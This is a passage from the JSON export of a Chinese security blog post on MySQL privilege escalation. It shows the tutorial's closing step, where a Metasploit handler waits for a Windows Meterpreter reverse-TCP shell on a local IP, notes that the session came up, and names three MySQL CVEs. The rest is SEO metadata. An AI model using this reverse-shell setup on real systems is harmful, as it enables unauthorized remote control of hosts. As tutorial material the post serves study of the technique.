has-luminous-vivid-orange-color\">msf\u5f00\u542f\u76d1\u542c<\/mark><\/strong>\uff0c\u5e76\u91cd\u542f\u4e3b\u673a<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>use multi\/handler\nset payload windows\/meterpreter\/reverse_tcp\nset lhost 192.168.2.145\nset lport 8888\nrun<\/code><\/pre>\n\n\n<div class=\"wp-block-image\">\n<figure class=\"aligncenter size-large is-resized\"><img decoding=\"async\" width=\"1024\" height=\"173\" data-src=\"https:\/\/foreverhome.live\/wp-content\/uploads\/2024\/11\/1732773317-image-1024x173.png\" alt=\"\" class=\"wp-image-1764 lazyload\" style=\"--smush-placeholder-width: 1024px; --smush-placeholder-aspect-ratio: 1024\/173;width:600px;height:auto\" data-srcset=\"https:\/\/foreverhome.live\/wp-content\/uploads\/2024\/11\/1732773317-image-1024x173.png 1024w, https:\/\/foreverhome.live\/wp-content\/uploads\/2024\/11\/1732773317-image-300x51.png 300w, https:\/\/foreverhome.live\/wp-content\/uploads\/2024\/11\/1732773317-image-768x130.png 768w, https:\/\/foreverhome.live\/wp-content\/uploads\/2024\/11\/1732773317-image-1536x260.png 1536w, https:\/\/foreverhome.live\/wp-content\/uploads\/2024\/11\/1732773317-image.png 1784w\" data-sizes=\"(max-width: 1024px) 100vw, 1024px\" src=\"data:image\/svg+xml;base64,PHN2ZyB3aWR0aD0iMSIgaGVpZ2h0PSIxIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciPjwvc3ZnPg==\" \/><\/figure>\n<\/div>\n\n\n<p class=\"wp-block-paragraph\"><strong>\u6210\u529f\u4e0a\u7ebf<\/strong><\/p>\n\n\n\n<p class=\"wp-block-paragraph\">\u6b64\u5916\u5229\u7528MySQL\u63d0\u6743\u7684\u65b9\u5f0f\u8fd8\u6709\u5229\u7528<strong>CVE-2016-6662\u3001CVE-2016-6663\u3001CVE-2016-6664<\/strong>\u6f0f\u6d1e\u8fdb\u884c\u63d0\u6743\uff0c\u4f46\u9700\u8981\u63d0\u6743\u83b7\u53d6WebShell\uff0c\u4e0d\u5c5e\u4e8e\u4eceSQL \u2192 Shell\u7684\u5185\u5bb9\uff0c\u6545\u6b64\u5904\u4e0d\u518d\u8d58\u8ff0<\/p>\n\n\n\n<p class=\"has-large-font-size wp-block-paragraph\"><strong><a href=\"https:\/\/foreverhome.live\/index.php\/2024\/11\/29\/sqlinjectionauthorization2\/\">SQLServer\u7bc7<\/a><\/strong><\/p>\n","protected":false},"excerpt":{"rendered":"<p>\u4f7f\u7528\u7684\u5de5\u5177\uff1a \u6570\u636e\u5e93 \u524d\u8a00 \u672c\u6587\u4e3b\u8981\u4ecb\u7ecd\u603b\u7ed3MySQL\u548cSQLServer\u8fd9\u4e24\u4e2a\u5e38\u89c1\u7684\u6570\u636e\u5e93\u7684\u63d0\u6743\u65b9\u6cd5\uff08\u4e0d\u6d89\u53caSQLMap\uff09\u4ec5\u901a\u8fc7 &#8230;<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"emotion":"","emotion_color":"","title_style":"","license":"","footnotes":""},"categories":[6],"tags":[],"class_list":["post-1679","post","type-post","status-publish","format-standard","hentry","category-networksecurity"],"yoast_head":"<!-- This site is optimized with the Yoast SEO plugin v28.6 - https:\/\/yoast.com\/product\/yoast-seo-wordpress\/ -->\n<title>\u3010\u7f51\u7edc\u5b89\u5168\u3011\u4ec0\u4e48\uff1f\u4f60\u8fd8\u4e0d\u4f1a\u901a\u8fc7SQL\u63d0\u6743\uff1f\uff08MySQL\u7bc7\uff09 - Wind<\/title>\n<meta name=\"robots\" content=\"index, follow, max-snippet:-1, max-image-preview:large, max-video-preview:-1\" \/>\n<link rel=\"canonical\" href=\"https:\/\/foreverhome.live\/index.php\/2024\/11\/28\/sqlinjectionauthorization\/\" \/>\n<meta property=\"og:locale\" content=\"zh_CN\" \/>\n<meta property=\"og:type\" content=\"article\" \/>\n<meta property=\"og:title\" content=\"\u3010\u7f51\u7edc\u5b89\u5168\u3011\u4ec0\u4e48\uff1f\u4f60\u8fd8\u4e0d\u4f1a\u901a\u8fc7SQL\u63d0\u6743\uff1f\uff08MySQL\u7bc7\uff09 - Wind\" \/>\n<meta property=\"og:description\" content=\"\u4f7f\u7528\u7684\u5de5\u5177\uff1a \u6570\u636e\u5e93 \u524d\u8a00 \u672c\u6587\u4e3b\u8981\u4ecb\u7ecd\u603b\u7ed3MySQL\u548cSQLServer\u8fd9\u4e24\u4e2a\u5e38\u89c1\u7684\u6570\u636e\u5e93\u7684\u63d0\u6743\u65b9\u6cd5\uff08\u4e0d\u6d89\u53caSQLMap\uff09\u4ec5\u901a\u8fc7 ...\" \/>\n<meta property=\"og:url\" content=\"https:\/\/foreverhome.live\/index.php\/2024\/11\/28\/sqlinjectionauthorization\/\" \/>\n<meta property=\"og:site_name\" content=\"Wind\" \/>\n<meta property=\"article:published_time\" content=\"2024-11-27T17:45:11+00:00\" \/>\n<meta property=\"article:modified_time\" content=\"2026-05-10T01:47:43+00:00\" \/>\n<meta property=\"og:image\" content=\"https:\/\/foreverhome.live\/wp-content\/uploads\/2024\/11\/1732713944-image.png\" \/>\n\t<meta property=\"og:image:width\" content=\"878\" \/>\n\t<meta property=\"og:image:height\" content=\"360\" \/>\n\t<meta property=\"og:image:type\" content=\"image\/png\" \/>\n<meta name=\"author\" content=\"Mangofang\" \/>\n<meta name=\"twitter:card\" content=\"summary_large_image\" \/>\n<meta name=\"twitter:label1\" content=\"\u4f5c\u8005\" \/>\n\t<meta name=\"twitter:data1\" content=\"Mangofang\" \/>\n\t<meta name=\"twitter:label2\" content=\"\u9884\u8ba1\u9605\u8bfb\u65f6\u95f4\" \/>\n\t<meta name=\"twitter:data2\" content=\"3 \u5206\" \/>\n<script type=\"application\/ld+json\" class=\"yoast-schema-graph\">{\"@context\":\"https:\\\/\\\/schema.org\",\"@graph\":[{\"@type\":\"Article\",\"@id\":\"https:\\\/\\\/foreverhome.live\\\/index.php\\\/2024\\\/11\\\/28\\\/sqlinjectionauthorization\\\/#article\",\"isPartOf\":{\"@id\":\"https:\\\/\\\/foreverhome.live\\\/index.php\\\/2024\\\/11\\\/28\\\/sqlinjectionauthorization\\\/\"},\"author\":{\"name\":\"Mangofang\",\"@id\":\"https:\\\/\\\/foreverhome.live\\\/#\\\/schema\\\/person\\\/e511e3f9edd6dfe38c7fcccde88972c8\"},\"headline\":\"\u3010\u7f51\u7edc\u5b89\u5168\u3011\u4ec0\u4e48\uff1f\u4f60\u8fd8\u4e0d\u4f1a\u901a\u8fc7SQL\u63d0\u6743\uff1f\uff08MySQL\u7bc7\uff09\",\"datePublished\":\"2024-11-27T17:45:11+00:00\",\"dateModified\":\"2026-05-10T01:47:43+00:00\",\"mainEntityOfPage\":{\"@id\":\"https:\\\/\\\/foreverhome.live\\\/index.php\\\/2024\\\/11\\\/28\\\/sqlinjectionauthorization\\\/\"},\"wordCount\":199,\"commentCount\":0,\"publisher\":{\"@id\":\"https:\\\/\\\/foreverhome.live\\\/#\\\/schema\\\/person\\\/e511e3f9edd6dfe38c7fcccde88972c8\"},\"image\":{\"@id\":\"https:\\\/\\\/foreverhome.live\\\/index.php\\\/2024\\\/11\\\/28\\\/sqlinjectionauthorization\\\/#primaryimage\"},\"thumbnailUrl\":\"https:\\\/\\\/foreverhome.live\\\/wp-content\\\/uploads\\\/2024\\\/11\\\/1732713944-image.png\",\"articleSection\":[\"\u7f51\u7edc\u5b89\u5168\"],\"inLanguage\":\"zh-Hans\",\"potentialAction\":[{\"@type\":\"CommentAction\",\"name\":\"Comment\",\"target\":[\"https:\\\/\\\/foreverhome.live\\\/index.php\\\/2024\\\/11\\\/28\\\/sqlinjectionauthorization\\\/#respond\"]}]},{\"@type\":\"WebPage\",\"@id\":\"https:\\\/\\\/foreverhome.live\\\/index.php\\\/2024\\\/11\\\/28\\\/sqlinjectionauthorization\\\/\",\"url\":\"https:\\\/\\\/foreverhome.live\\\/index.php\\\/2024\\\/11\\\/28\\\/sqlinjectionauthorization\\\/\",\"name\":\"\u3010\u7f51\u7edc\u5b89\u5168\u3011\u4ec0\u4e48\uff1f\u4f60\u8fd8\u4e0d\u4f1a\u901a\u8fc7SQL\u63d0\u6743\uff1f\uff08MySQL\u7bc7\uff09 - Wind\",\"isPartOf\":{\"@id\":\"https:\\\/\\\/foreverhome.live\\\/#website\"},\"primaryImageOfPage\":{\"@id\":\"https:\\\/\\\/foreverhome.live\\\/index.php\\\/2024\\\/11\\\/28\\\/sqlinjectionauthorization\\\/#primaryimage\"},\"image\":{\"@id\":\"https:\\\/\\\/foreverhome.live\\\/index.php\\\/2024\\\/11\\\/28\\\/sqlinjectionauthorization\\\/#primaryimage\"},\"thumbnailUrl\":\"https:\\\/\\\/foreverhome.live\\\/wp-content\\\/uploads\\\/2024\\\/11\\\/1732713944-image.png\",\"datePublished\":\"2024-11-27T17:45:11+00:00\",\"dateModified\":\"2026-05-10T01:47:43+00:00\",\"breadcrumb\":{\"@id\":\"https:\\\/\\\/foreverhome.live\\\/index.php\\\/2024\\\/11\\\/28\\\/sqlinjectionauthorization\\\/#breadcrumb\"},\"inLanguage\":\"zh-Hans\",\"potentialAction\":[{\"@type\":\"ReadAction\",\"target\":[\"https:\\\/\\\/foreverhome.live\\\/index.php\\\/2024\\\/11\\\/28\\\/sqlinjectionauthorization\\\/\"]}]},{\"@type\":\"ImageObject\",\"inLanguage\":\"zh-Hans\",\"@id\":\"https:\\\/\\\/foreverhome.live\\\/index.php\\\/2024\\\/11\\\/28\\\/sqlinjectionauthorization\\\/#primaryimage\",\"url\":\"https:\\\/\\\/foreverhome.live\\\/wp-content\\\/uploads\\\/2024\\\/11\\\/1732713944-image.png\",\"contentUrl\":\"https:\\\/\\\/foreverhome.live\\\/wp-content\\\/uploads\\\/2024\\\/11\\\/1732713944-image.png\",\"width\":878,\"height\":360},{\"@type\":\"BreadcrumbList\",\"@id\":\"https:\\\/\\\/foreverhome.live\\\/index.php\\\/2024\\\/11\\\/28\\\/sqlinjectionauthorization\\\/#breadcrumb\",\"itemListElement\":[{\"@type\":\"ListItem\",\"position\":1,\"name\":\"\u9996\u9875\",\"item\":\"https:\\\/\\\/foreverhome.live\\\/\"},{\"@type\":\"ListItem\",\"position\":2,\"name\":\"\u3010\u7f51\u7edc\u5b89\u5168\u3011\u4ec0\u4e48\uff1f\u4f60\u8fd8\u4e0d\u4f1a\u901a\u8fc7SQL\u63d0\u6743\uff1f\uff08MySQL\u7bc7\uff09\"}]},{\"@type\":\"WebSite\",\"@id\":\"https:\\\/\\\/foreverhome.live\\\/#website\",\"url\":\"https:\\\/\\\/foreverhome.live\\\/\",\"name\":\"Wind\",\"description\":\"\u4e00\u4e2a\u65e0\u540d\u5c0f\u5352\u7684\u7ad9\u70b9\",\"publisher\":{\"@id\":\"https:\\\/\\\/foreverhome.live\\\/#\\\/schema\\\/person\\\/e511e3f9edd6dfe38c7fcccde88972c8\"},\"potentialAction\":[{\"@type\":\"SearchAction\",\"target\":{\"@type\":\"EntryPoint\",\"urlTemplate\":\"https:\\\/\\\/foreverhome.live\\\/?s={search_term_string}\"},\"query-input\":{\"@type\":\"PropertyValueSpecification\",\"valueRequired\":true,\"valueName\":\"search_term_string\"}}],\"inLanguage\":\"zh-Hans\"},{\"@type\":[\"Person\",\"Organization\"],\"@id\":\"https:\\\/\\\/foreverhome.live\\\/#\\\/schema\\\/person\\\/e511e3f9edd6dfe38c7fcccde88972c8\",\"name\":\"Mangofang\",\"image\":{\"@type\":\"ImageObject\",\"inLanguage\":\"zh-Hans\",\"@id\":\"https:\\\/\\\/foreverhome.live\\\/wp-content\\\/uploads\\\/2024\\\/11\\\/1730727564-\u732b.ico\",\"url\":\"https:\\\/\\\/foreverhome.live\\\/wp-content\\\/uploads\\\/2024\\\/11\\\/1730727564-\u732b.ico\",\"contentUrl\":\"https:\\\/\\\/foreverhome.live\\\/wp-content\\\/uploads\\\/2024\\\/11\\\/1730727564-\u732b.ico\",\"width\":256,\"height\":256,\"caption\":\"Mangofang\"},\"logo\":{\"@id\":\"https:\\\/\\\/foreverhome.live\\\/wp-content\\\/uploads\\\/2024\\\/11\\\/1730727564-\u732b.ico\"},\"sameAs\":[\"http:\\\/\\\/blog.purewind.top\"],\"url\":\"https:\\\/\\\/foreverhome.live\\\/index.php\\\/author\\\/mangofang\\\/\"}]}<\/script>\n<!-- \/ Yoast SEO plugin. -->","yoast_head_json":{"title":"\u3010\u7f51\u7edc\u5b89\u5168\u3011\u4ec0\u4e48\uff1f\u4f60\u8fd8\u4e0d\u4f1a\u901a\u8fc7SQL\u63d0\u6743\uff1f\uff08MySQL\u7bc7\uff09 - Wind","robots":{"index":"index","follow":"follow","max-snippet":"max-snippet:-1","max-image-preview":"max-image-preview:large","max-video-preview":"max-video-preview:-1"},"canonical":"https:\/\/foreverhome.live\/index.php\/2024\/11\/28\/sqlinjectionauthorization\/","og_locale":"zh_CN","og_type":"article","og_title":"\u3010\u7f51\u7edc\u5b89\u5168\u3011\u4ec0\u4e48\uff1f\u4f60\u8fd8\u4e0d\u4f1a\u901a\u8fc7SQL\u63d0\u6743\uff1f\uff08MySQL\u7bc7\uff09 - Wind","og_description":"\u4f7f\u7528\u7684\u5de5\u5177\uff1a \u6570\u636e\u5e93 \u524d\u8a00 \u672c\u6587\u4e3b\u8981\u4ecb\u7ecd\u603b\u7ed3MySQL\u548cSQLServer\u8fd9\u4e24\u4e2a\u5e38\u89c1\u7684\u6570\u636e\u5e93\u7684\u63d0\u6743\u65b9\u6cd5\uff08\u4e0d\u6d89\u53caSQLMap\uff09\u4ec5\u901a\u8fc7 ...","og_url":"https:\/\/foreverhome.live\/index.php\/2024\/11\/28\/sqlinjectionauthorization\/","og_site_name":"Wind","article_published_time":"2024-11-27T17:45:11+00:00","article_modified_time":"2026-05-10T01:47:43+00:00","og_image":[{"width":878,"height":360,"url":"https:\/\/foreverhome.live\/wp-content\/uploads\/2024\/11\/1732713944-image.png","type":"image\/png"}],"author":"Mangofang","twitter_card":"summary_large_image","twitter_misc":{"\u4f5c\u8005":"Mangofang","\u9884\u8ba1\u9605\u8bfb\u65f6\u95f4":"3 \u5206"},"schema":{"@context":"https:\/\/schema.org","@graph":[{"@type":"Article","@id":"https:\/\/foreverhome.live\/index.php\/2024\/11\/28\/sqlinjectionauthorization\/#article","isPartOf":{"@id":"https:\/\/foreverhome.live\/index.php\/2024\/11\/28\/sqlinjectionauthorization\/"},"author":{"name":"Mangofang","@id":"https:\/\/foreverhome.live\/#\/schema\/person\/e511e3f9edd6dfe38c7fcccde88972c8"},"headline":"\u3010\u7f51\u7edc\u5b89\u5168\u3011\u4ec0\u4e48\uff1f\u4f60\u8fd8\u4e0d\u4f1a\u901a\u8fc7SQL\u63d0\u6743\uff1f\uff08MySQL\u7bc7\uff09","datePublished":"2024-11-27T17:45:11+00:00","dateModified":"2026-05-10T01:47:43+00:00","mainEntityOfPage":{"@id":"https:\/\/foreverhome.live\/index.php\/2024\/11\/28\/sqlinjectionauthorization\/"},"wordCount":199,"commentCount":0,"publisher":{"@id":"https:\/\/foreverhome.live\/#\/schema\/person\/e511e3f9edd6dfe38c7fcccde88972c8"},"image":{"@id":"https:\/\/foreverhome.live\/index.php\/2024\/11\/28\/sqlinjectionauthorization\/#primaryimage"},"thumbnailUrl":"https:\/\/foreverhome.live\/wp-content\/uploads\/2024\/11\/1732713944-image.png","articleSection":["\u7f51\u7edc\u5b89\u5168"],"inLanguage":"zh-Hans","potentialAction":[{"@type":"CommentAction","name":"Comment","target":["https:\/\/foreverhome.live\/index.php\/2024\/11\/28\/sqlinjectionauthorization\/#respond"]}]},{"@type":"WebPage","@id":"https:\/\/foreverhome.live\/index.php\/2024\/11\/28\/sqlinjectionauthorization\/","url":"https:\/\/foreverhome.live\/index.php\/2024\/11\/28\/sqlinjectionauthorization\/","name":"\u3010\u7f51\u7edc\u5b89\u5168\u3011\u4ec0\u4e48\uff1f\u4f60\u8fd8\u4e0d\u4f1a\u901a\u8fc7SQL\u63d0\u6743\uff1f\uff08MySQL\u7bc7\uff09 - Wind","isPartOf":{"@id":"https:\/\/foreverhome.live\/#website"},"primaryImageOfPage":{"@id":"https:\/\/foreverhome.live\/index.php\/2024\/11\/28\/sqlinjectionauthorization\/#primaryimage"},"image":{"@id":"https:\/\/foreverhome.live\/index.php\/2024\/11\/28\/sqlinjectionauthorization\/#primaryimage"},"thumbnailUrl":"https:\/\/foreverhome.live\/wp-content\/uploads\/2024\/11\/1732713944-image.png","datePublished":"2024-11-27T17:45:11+00:00","dateModified":"2026-05-10T01:47:43+00:00","breadcrumb":{"@id":"https:\/\/foreverhome.live\/index.php\/2024\/11\/28\/sqlinjectionauthorization\/#breadcrumb"},"inLanguage":"zh-Hans","potentialAction":[{"@type":"ReadAction","target":["https:\/\/foreverhome.live\/index.php\/2024\/11\/28\/sqlinjectionauthorization\/"]}]},{"@type":"ImageObject","inLanguage":"zh-Hans","@id":"https:\/\/foreverhome.live\/index.php\/2024\/11\/28\/sqlinjectionauthorization\/#primaryimage","url":"https:\/\/foreverhome.live\/wp-content\/uploads\/2024\/11\/1732713944-image.png","contentUrl":"https:\/\/foreverhome.live\/wp-content\/uploads\/2024\/11\/1732713944-image.png","width":878,"height":360},{"@type":"BreadcrumbList","@id":"https:\/\/foreverhome.live\/index.php\/2024\/11\/28\/sqlinjectionauthorization\/#breadcrumb","itemListElement":[{"@type":"ListItem","position":1,"name":"\u9996\u9875","item":"https:\/\/foreverhome.live\/"},{"@type":"ListItem","position":2,"name":"\u3010\u7f51\u7edc\u5b89\u5168\u3011\u4ec0\u4e48\uff1f\u4f60\u8fd8\u4e0d\u4f1a\u901a\u8fc7SQL\u63d0\u6743\uff1f\uff08MySQL\u7bc7\uff09"}]},{"@type":"WebSite","@id":"https:\/\/foreverhome.live\/#website","url":"https:\/\/foreverhome.live\/","name":"Wind","description":"\u4e00\u4e2a\u65e0\u540d\u5c0f\u5352\u7684\u7ad9\u70b9","publisher":{"@id":"https:\/\/foreverhome.live\/#\/schema\/person\/e511e3f9edd6dfe38c7fcccde88972c8"},"potentialAction":[{"@type":"SearchAction","target":{"@type":"EntryPoint","urlTemplate":"https:\/\/foreverhome.live\/?s={search_term_string}"},"query-input":{"@type":"PropertyValueSpecification","valueRequired":true,"valueName":"search_term_string"}}],"inLanguage":"zh-Hans"},{"@type":["Person","Organization"],"@id":"https:\/\/foreverhome.live\/#\/schema\/person\/e511e3f9edd6dfe38c7fcccde88972c8","name":"Mangofang","image":{"@type":"ImageObject","inLanguage":"zh-Hans","@id":"https:\/\/foreverhome.live\/wp-content\/uploads\/2024\/11\/1730727564-\u732b.ico","url":"https:\/\/foreverhome.live\/wp-content\/uploads\/2024\/11\/1730727564-\u732b.ico","contentUrl":"https:\/\/foreverhome.live\/wp-content\/uploads\/2024\/11\/1730727564-\u732b.ico","width":256,"height":256,"caption":"Mangofang"},"logo":{"@id":"https:\/\/foreverhome.live\/wp-content\/uploads\/2024\/11\/1730727564-\u732b.ico"},"sameAs":["http:\/\/blog.purewind.top"],"url":"https:\/\/foreverhome.live\/index.php\/author\/mangofang\/"}]}},"_links":{"self":[{"href":"https:\/\/foreverhome.live\/index.php\/wp-json\/wp\/v2\/posts\/1679","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/foreverhome.live\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/foreverhome.live\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/foreverhome.live\/index.php\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/foreverhome.live\/index.php\/wp-json\/wp\/v2\/comments?post=1679"}],"version-history":[{"count":61,"href":"https:\/\/foreverhome.live\/index.php\/wp-json\/wp\/v2\/posts\/1679\/revisions"}],"predecessor-version":[{"id":2093,"href":"https:\/\/foreverhome.live\/index.php\/wp-json\/wp\/v2\/posts\/1679\/revisions\/2093"}],"wp:attachment":[{"href":"https:\/\/foreverhome.live\/index.php\/wp-json\/wp\/v2\/media?parent=1679"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/foreverhome.live\/index.php\/wp-json\/wp\/v2\/categories?post=1679"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/foreverhome.live\/index.php\/wp-json\/wp\/v2\/tags?post=1679"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}